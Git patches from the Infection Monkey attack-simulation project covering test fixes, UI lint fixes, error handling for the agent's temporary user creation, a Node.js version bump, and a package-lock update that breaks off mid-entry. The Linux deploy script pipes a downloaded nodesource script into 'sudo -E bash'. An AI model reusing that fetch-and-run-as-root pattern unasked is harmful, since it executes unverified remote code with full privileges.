a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ping.py b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ping.py index 45cd523b4..37e365682 100644 --- a/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ping.py +++ b/monkey/tests/unit_tests/infection_monkey/network_scanning/test_ping.py @@ -1,3 +1,4 @@ +import math import subprocess from unittest.mock import MagicMock @@ -172,4 +173,4 @@ def test_linux_timeout(assert_expected_timeout): timeout_flag = "-W" timeout = 1.42379 - assert_expected_timeout(timeout_flag, timeout, str(timeout)) + assert_expected_timeout(timeout_flag, timeout, str(math.ceil(timeout))) From a43c1479c8ae2f7e650bcbfc3926f243125dbe03 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 1 Apr 2022 20:10:38 +0530 Subject: [PATCH 0996/1110] UI: Fix eslint errors --- monkey/monkey_island/cc/ui/src/components/pages/MapPage.js | 2 +- .../report-components/attack/ReportMatrixComponent.js | 2 +- .../components/report-components/security/PostBreachParser.js | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js index fa782eac7..ebe5b8cc6 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js @@ -92,7 +92,7 @@ class MapPageComponent extends AuthComponent { body: JSON.stringify({kill_time: Date.now() / 1000.0}) }) .then(res => res.json()) - .then(res => {this.setState({killPressed: true})}); + .then(_res => {this.setState({killPressed: true})}); }; renderKillDialogModal = () => { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/attack/ReportMatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/report-components/attack/ReportMatrixComponent.js index 00420f095..51d349b30 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/attack/ReportMatrixComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/attack/ReportMatrixComponent.js @@ -53,7 +53,7 @@ class ReportMatrixComponent extends React.Component { } renderTechnique(technique) { - if (technique == null || typeof technique === undefined) { + if (technique == null || typeof technique === 'undefined') { return (
    ) } else { return ( diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js index 39308e102..8157aa78a 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/PostBreachParser.js @@ -50,7 +50,7 @@ function aggregateMultipleResultsPba(results) { for (let i = 0; i < results.length; i++) { if (multipleResultsPbas.includes(results[i].name)) aggregateResults(results[i]); - if ((results[i].name === PROCESS_LIST_COLLECTION) && (typeof results[i].result[0] !== "string")) + if ((results[i].name === PROCESS_LIST_COLLECTION) && (typeof results[i].result[0] !== 'string')) modifyProcessListCollectionResult(results[i].result); } From bb798898c1918e4a6d250e167671c59ce9ded2bb Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 4 Apr 2022 13:03:50 +0530 Subject: [PATCH 0997/1110] Agent: Catch subprocess exceptions in utils/*/users.py --- monkey/infection_monkey/utils/linux/users.py | 25 +++++++++++++------ .../infection_monkey/utils/windows/users.py | 9 ++++--- 2 files changed, 24 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/utils/linux/users.py b/monkey/infection_monkey/utils/linux/users.py index df01f9f18..112670dbb 100644 --- a/monkey/infection_monkey/utils/linux/users.py +++ b/monkey/infection_monkey/utils/linux/users.py @@ -44,9 +44,12 @@ class AutoNewLinuxUser(AutoNewUser): logger.debug( "Trying to add {} with commands {}".format(self.username, str(commands_to_add_user)) ) - _ = subprocess.check_output( - commands_to_add_user, stderr=subprocess.STDOUT, timeout=SHORT_REQUEST_TIMEOUT - ) + try: + _ = subprocess.check_output( + commands_to_add_user, stderr=subprocess.STDOUT, timeout=SHORT_REQUEST_TIMEOUT + ) + except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as err: + logger.error(f"An exception occurred when creating a new linux user: {str(err)}") def __enter__(self): return self # No initialization/logging on needed in Linux @@ -55,7 +58,12 @@ class AutoNewLinuxUser(AutoNewUser): command_as_new_user = shlex.split( "sudo -u {username} {command}".format(username=self.username, command=command) ) - return subprocess.call(command_as_new_user, timeout=SHORT_REQUEST_TIMEOUT) + try: + return subprocess.call(command_as_new_user, timeout=SHORT_REQUEST_TIMEOUT) + except subprocess.TimeoutExpired as err: + logger.error( + f"An exception occurred when running a command as a new linux user: {str(err)}" + ) def __exit__(self, _exc_type, value, traceback): # delete the user. @@ -65,6 +73,9 @@ class AutoNewLinuxUser(AutoNewUser): self.username, str(commands_to_delete_user) ) ) - _ = subprocess.check_output( - commands_to_delete_user, stderr=subprocess.STDOUT, timeout=SHORT_REQUEST_TIMEOUT - ) + try: + _ = subprocess.check_output( + commands_to_delete_user, stderr=subprocess.STDOUT, timeout=SHORT_REQUEST_TIMEOUT + ) + except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as err: + logger.error(f"An exception occurred when deleting the new linux user: {str(err)}") diff --git a/monkey/infection_monkey/utils/windows/users.py b/monkey/infection_monkey/utils/windows/users.py index 9e3af52a1..498e747c5 100644 --- a/monkey/infection_monkey/utils/windows/users.py +++ b/monkey/infection_monkey/utils/windows/users.py @@ -50,9 +50,12 @@ class AutoNewWindowsUser(AutoNewUser): windows_cmds = get_windows_commands_to_add_user(self.username, self.password, True) logger.debug("Trying to add {} with commands {}".format(self.username, str(windows_cmds))) - _ = subprocess.check_output( - windows_cmds, stderr=subprocess.STDOUT, timeout=SHORT_REQUEST_TIMEOUT - ) + try: + _ = subprocess.check_output( + windows_cmds, stderr=subprocess.STDOUT, timeout=SHORT_REQUEST_TIMEOUT + ) + except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as err: + logger.error(f"An exception occurred when creating a new windows user: {str(err)}") def __enter__(self): try: From 85b866e1cba75576ee2669797bcfdb1597a4b022 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 4 Apr 2022 13:07:03 +0530 Subject: [PATCH 0998/1110] UI: Remove unneeded argument in MapPage.js --- monkey/monkey_island/cc/ui/src/components/pages/MapPage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js index ebe5b8cc6..d24756978 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js @@ -92,7 +92,7 @@ class MapPageComponent extends AuthComponent { body: JSON.stringify({kill_time: Date.now() / 1000.0}) }) .then(res => res.json()) - .then(_res => {this.setState({killPressed: true})}); + .then(() => {this.setState({killPressed: true})}); }; renderKillDialogModal = () => { From b3379c66d302ed90635dad8b48abe8c0677e82fd Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 1 Apr 2022 16:51:07 +0300 Subject: [PATCH 0999/1110] Deploy: Change deployment scripts to use node v16 from v12 --- deployment_scripts/config.ps1 | 2 +- deployment_scripts/deploy_linux.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1 index 2a647a328..b14d095e7 100644 --- a/deployment_scripts/config.ps1 +++ b/deployment_scripts/config.ps1 @@ -32,6 +32,6 @@ $UPX_FOLDER = "upx-3.96-win64" $MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2012plus-v4.2-latest.zip" $OPEN_SSL_URL = "https://indy.fulgan.com/SSL/openssl-1.0.2u-x64_86-win64.zip" $CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572" -$NPM_URL = "https://nodejs.org/dist/v12.14.1/node-v12.14.1-x64.msi" +$NPM_URL = "https://nodejs.org/dist/v16.14.2/node-v16.14.2-x64.msi" $UPX_URL = "https://github.com/upx/upx/releases/download/v3.96/upx-3.96-win64.zip" $SWIMM_URL="https://github.com/swimmio/SwimmReleases/releases/download/v0.4.4-0/Swimm-Setup-0.4.4-0.exe" diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh index 763bb9075..930067bde 100755 --- a/deployment_scripts/deploy_linux.sh +++ b/deployment_scripts/deploy_linux.sh @@ -192,7 +192,7 @@ chmod u+x "${ISLAND_PATH}"/linux/create_certificate.sh # Update node if ! exists npm; then log_message "Installing nodejs" - node_src=https://deb.nodesource.com/setup_12.x + node_src=https://deb.nodesource.com/setup_16.x if exists curl; then curl -sL $node_src | sudo -E bash - else From 2d5d2453055320b409e177274bb2829722804fed Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 4 Apr 2022 10:36:31 +0300 Subject: [PATCH 1000/1110] Deploy: Change quotes in windows deployment command --- deployment_scripts/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md index 54e077ec7..c0d73e24f 100644 --- a/deployment_scripts/README.md +++ b/deployment_scripts/README.md @@ -22,7 +22,7 @@ The first argument is an empty directory (script can create one). The second arg - `.\deploy_windows.ps1` (Sets up monkey in current directory under .\infection_monkey) - `.\deploy_windows.ps1 -monkey_home "C:\test"` (Sets up monkey in C:\test) -- `.\deploy_windows.ps1 -branch "master"` (Sets up master branch instead of develop in current dir) +- `.\deploy_windows.ps1 -branch 'master'` (Sets up master branch instead of develop in current dir) You may also pass in an optional `agents=$false` parameter to disable downloading the latest agent binaries. From f49490bbc8eb5c10782d19a3642c77ba5b884ae6 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 4 Apr 2022 10:45:46 +0300 Subject: [PATCH 1001/1110] UI: Update javascript packages --- monkey/monkey_island/cc/ui/package-lock.json | 18587 ++++++++++++++++- 1 file changed, 18362 insertions(+), 225 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 38c8593cb..3941cb9fb 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -1,8 +1,18203 @@ { "name": "infection-monkey", "version": "1.13.0", - "lockfileVersion": 1, + "lockfileVersion": 2, "requires": true, + "packages": { + "": { + "name": "infection-monkey", + "version": "1.13.0", + "dependencies": { + "@emotion/core": "^10.1.1", + "@fortawesome/fontawesome-svg-core": "^1.2.36", + "@fortawesome/free-regular-svg-icons": "^5.15.4", + "@fortawesome/free-solid-svg-icons": "^5.15.4", + "@fortawesome/react-fontawesome": "^0.1.15", + "@kunukn/react-collapse": "^1.2.7", + "@material-ui/core": "^4.12.3", + "@material-ui/icons": "^4.11.2", + "@types/react-router-dom": "^5.3.1", + "bootstrap": "^4.5.3", + "classnames": "^2.3.1", + "core-js": "^3.18.2", + "d3": "^5.14.1", + "downloadjs": "^1.4.7", + "fetch": "^1.1.0", + "file-saver": "^2.0.5", + "filepond": "^4.30.3", + "jwt-decode": "^2.2.0", + "lodash": "^4.17.21", + "marked": "^2.1.3", + "mui-datatables": "^3.7.8", + "normalize.css": "^8.0.0", + "pluralize": "^7.0.0", + "prop-types": "^15.7.2", + "rainge": "^1.0.1", + "rc-progress": "^2.6.1", + "react": "^16.14.0", + "react-bootstrap": "^1.6.4", + "react-copy-to-clipboard": "^5.0.4", + "react-desktop-notification": "^1.0.9", + "react-dimensions": "^1.3.0", + "react-dom": "^16.14.0", + "react-event-timeline": "^1.6.3", + "react-fa": "^5.0.0", + "react-filepond": "^7.1.0", + "react-graph-vis": "^1.0.7", + "react-hot-loader": "^4.13.0", + "react-json-tree": "^0.12.1", + "react-jsonschema-form-bs4": "^1.7.1", + "react-particles-js": "^3.5.3", + "react-redux": "^5.1.2", + "react-router-dom": "^5.3.0", + "react-spinners": "^0.9.0", + "react-table": "^6.10.3", + "react-tooltip-lite": "^1.12.0", + "redux": "^4.1.1", + "sha3": "^2.1.4", + "source-map-loader": "^1.1.2", + "tsparticles": "^1.35.4" + }, + "devDependencies": { + "@babel/cli": "^7.15.7", + "@babel/core": "^7.15.8", + "@babel/plugin-proposal-class-properties": "^7.14.5", + "@babel/plugin-transform-runtime": "^7.15.8", + "@babel/preset-env": "^7.15.8", + "@babel/preset-react": "^7.14.5", + "@babel/runtime": "^7.15.4", + "@types/jest": "^26.0.24", + "@types/node": "^14.17.21", + "@types/react": "^16.14.16", + "@types/react-dom": "^16.9.14", + "babel-eslint": "^10.1.0", + "babel-loader": "^8.2.1", + "copyfiles": "^2.4.0", + "css-loader": "^3.6.0", + "eslint": "^6.8.0", + "eslint-loader": "^4.0.1", + "eslint-plugin-react": "^7.26.1", + "file-loader": "^1.1.11", + "glob": "^7.2.0", + "html-loader": "^0.5.5", + "html-webpack-plugin": "^5.3.2", + "minimist": "^1.2.5", + "npm": "^7.24.2", + "null-loader": "^0.1.1", + "react-addons-test-utils": "^15.6.2", + "rimraf": "^2.7.1", + "sass": "^1.42.1", + "sass-loader": "^7.3.1", + "snyk": "^1.733.0", + "style-loader": "^0.22.1", + "stylelint": "^13.13.1", + "ts-loader": "^8.3.0", + "typescript": "^4.4.3", + "url-loader": "^1.1.2", + "webpack": "^5.58.0", + "webpack-cli": "^4.9.0", + "webpack-dev-server": "^4.3.1" + } + }, + "node_modules/@babel/cli": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/cli/-/cli-7.15.7.tgz", + "integrity": "sha512-YW5wOprO2LzMjoWZ5ZG6jfbY9JnkDxuHDwvnrThnuYtByorova/I0HNXJedrUfwuXFQfYOjcqDA4PU3qlZGZjg==", + "dev": true, + "dependencies": { + "commander": "^4.0.1", + "convert-source-map": "^1.1.0", + "fs-readdir-recursive": "^1.1.0", + "glob": "^7.0.0", + "make-dir": "^2.1.0", + "slash": "^2.0.0", + "source-map": "^0.5.0" + }, + "bin": { + "babel": "bin/babel.js", + "babel-external-helpers": "bin/babel-external-helpers.js" + }, + "engines": { + "node": ">=6.9.0" + }, + "optionalDependencies": { + "@nicolo-ribaudo/chokidar-2": "2.1.8-no-fsevents.3", + "chokidar": "^3.4.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/cli/node_modules/commander": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "dev": true, + "engines": { + "node": ">= 6" + } + }, + "node_modules/@babel/code-frame": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.8.3.tgz", + "integrity": "sha512-a9gxpmdXtZEInkCSHUJDLHZVBgb1QS0jhss4cPP93EW7s+uC5bikET2twEF3KV+7rDblJcmNvTR7VJejqd2C2g==", + "dependencies": { + "@babel/highlight": "^7.8.3" + } + }, + "node_modules/@babel/compat-data": { + "version": "7.15.0", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.15.0.tgz", + "integrity": "sha512-0NqAC1IJE0S0+lL1SWFMxMkz1pKCNCjI4tr2Zx4LJSXxCLAdr6KyArnY+sno5m3yH9g737ygOyPABDsnXkpxiA==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.15.8.tgz", + "integrity": "sha512-3UG9dsxvYBMYwRv+gS41WKHno4K60/9GPy1CJaH6xy3Elq8CTtvtjT5R5jmNhXfCYLX2mTw+7/aq5ak/gOE0og==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.15.8", + "@babel/generator": "^7.15.8", + "@babel/helper-compilation-targets": "^7.15.4", + "@babel/helper-module-transforms": "^7.15.8", + "@babel/helpers": "^7.15.4", + "@babel/parser": "^7.15.8", + "@babel/template": "^7.15.4", + "@babel/traverse": "^7.15.4", + "@babel/types": "^7.15.6", + "convert-source-map": "^1.7.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.1.2", + "semver": "^6.3.0", + "source-map": "^0.5.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/babel" + } + }, + "node_modules/@babel/core/node_modules/@babel/code-frame": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", + "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", + "dev": true, + "dependencies": { + "@babel/highlight": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core/node_modules/@babel/generator": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.15.8.tgz", + "integrity": "sha512-ECmAKstXbp1cvpTTZciZCgfOt6iN64lR0d+euv3UZisU5awfRawOvg07Utn/qBGuH4bRIEZKrA/4LzZyXhZr8g==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.6", + "jsesc": "^2.5.1", + "source-map": "^0.5.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core/node_modules/@babel/helper-function-name": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", + "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", + "dev": true, + "dependencies": { + "@babel/helper-get-function-arity": "^7.15.4", + "@babel/template": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core/node_modules/@babel/helper-get-function-arity": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.15.4.tgz", + "integrity": "sha512-1/AlxSF92CmGZzHnC515hm4SirTxtpDnLEJ0UyEMgTMZN+6bxXKg04dKhiRx5Enel+SUA1G1t5Ed/yQia0efrA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core/node_modules/@babel/helper-split-export-declaration": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.15.4.tgz", + "integrity": "sha512-HsFqhLDZ08DxCpBdEVtKmywj6PQbwnF6HHybur0MAnkAKnlS6uHkwnmRIkElB2Owpfb4xL4NwDmDLFubueDXsw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core/node_modules/@babel/highlight": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.14.5.tgz", + "integrity": "sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.5", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core/node_modules/@babel/parser": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.15.8.tgz", + "integrity": "sha512-BRYa3wcQnjS/nqI8Ac94pYYpJfojHVvVXJ97+IDCImX4Jc8W8Xv1+47enbruk+q1etOpsQNwnfFcNGw+gtPGxA==", + "dev": true, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/core/node_modules/@babel/template": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.15.4.tgz", + "integrity": "sha512-UgBAfEa1oGuYgDIPM2G+aHa4Nlo9Lh6mGD2bDBGMTbYnc38vulXPuC1MGjYILIEmlwl6Rd+BPR9ee3gm20CBtg==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.14.5", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core/node_modules/@babel/traverse": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.15.4.tgz", + "integrity": "sha512-W6lQD8l4rUbQR/vYgSuCAE75ADyyQvOpFVsvPPdkhf6lATXAsQIG9YdtOcu8BB1dZ0LKu+Zo3c1wEcbKeuhdlA==", + "dev": true, + "dependencies": { + "@babel/code-frame": "^7.14.5", + "@babel/generator": "^7.15.4", + "@babel/helper-function-name": "^7.15.4", + "@babel/helper-hoist-variables": "^7.15.4", + "@babel/helper-split-export-declaration": "^7.15.4", + "@babel/parser": "^7.15.4", + "@babel/types": "^7.15.4", + "debug": "^4.1.0", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core/node_modules/@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/core/node_modules/json5": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.0.tgz", + "integrity": "sha512-f+8cldu7X/y7RAJurMEJmdoKXGB/X550w2Nr3tTbezL6RwEE/iMcm+tZnXeoZtKuOq6ft8+CqzEkrIgx1fPoQA==", + "dev": true, + "dependencies": { + "minimist": "^1.2.5" + }, + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@babel/core/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/generator": { + "version": "7.9.6", + "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.9.6.tgz", + "integrity": "sha512-+htwWKJbH2bL72HRluF8zumBxzuX0ZZUFl3JLNyoUjM/Ho8wnVpPXM6aUz8cfKDqQ/h7zHqKt4xzJteUosckqQ==", + "dev": true, + "dependencies": { + "@babel/types": "^7.9.6", + "jsesc": "^2.5.1", + "lodash": "^4.17.13", + "source-map": "^0.5.0" + } + }, + "node_modules/@babel/helper-annotate-as-pure": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.15.4.tgz", + "integrity": "sha512-QwrtdNvUNsPCj2lfNQacsGSQvGX8ee1ttrBrcozUP2Sv/jylewBP/8QFe6ZkBsC8T/GYWonNAWJV4aRR9AL2DA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-annotate-as-pure/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-annotate-as-pure/node_modules/@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-builder-binary-assignment-operator-visitor": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.15.4.tgz", + "integrity": "sha512-P8o7JP2Mzi0SdC6eWr1zF+AEYvrsZa7GSY1lTayjF5XJhVH0kjLYUZPvTMflP7tBgZoe9gIhTa60QwFpqh/E0Q==", + "dev": true, + "dependencies": { + "@babel/helper-explode-assignable-expression": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-builder-binary-assignment-operator-visitor/node_modules/@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-builder-binary-assignment-operator-visitor/node_modules/@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "dependencies": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-compilation-targets": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.15.4.tgz", + "integrity": "sha512-rMWPCirulnPSe4d+gwdWXLfAXTTBj8M3guAf5xFQJ0nvFY7tfNAFnWdqaHegHlgDZOCT4qvhF3BYlSJag8yhqQ==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.15.0", + "@babel/helper-validator-option": "^7.14.5", + "browserslist": "^4.16.6", + "semver": "^6.3.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-compilation-targets/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@babel/helper-create-class-features-plugin": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.15.4.tgz", + "integrity": "sha512-7ZmzFi+DwJx6A7mHRwbuucEYpyBwmh2Ca0RvI6z2+WLZYCqV0JOaLb+u0zbtmDicebgKBZgqbYfLaKNqSgv5Pw==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.15.4", + "@babel/helper-function-name": "^7.15.4", + "@babel/helper-member-expression-to-functions": "^7.15.4", + "@babel/helper-optimise-call-expression": "^7.15.4", + "@babel/helper-replace-supers": "^7.15.4", + "@babel/helper-split-export-declaration": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/helper-create-class-features-plugin/node_modules/@babel/code-frame": { + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.15.8.tgz", + "integrity": "sha512-2IAnmn8zbvC/jKYhq5Ki9I+DwjlrtMPUCH/CpHvqI4dNnlwHwsxoIhlc8WcYY5LSYknXQtAlFYuHfqAFCvQ4Wg==", + "dev": true, + "dependencies": { + "@babel/highlight": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-create-class-features-plugin/node_modules/@babel/helper-function-name": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.15.4.tgz", + "integrity": "sha512-Z91cOMM4DseLIGOnog+Z8OI6YseR9bua+HpvLAQ2XayUGU+neTtX+97caALaLdyu53I/fjhbeCnWnRH1O3jFOw==", + "dev": true, + "dependencies": { + "@babel/helper-get-function-arity": "^7.15.4", + "@babel/template": "^7.15.4", + "@babel/types": "^7.15.4" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-create-class-features-plugin/node_modules/@babel/helper-get-function-arity": { + "version": "7.15.4", + "resolved": 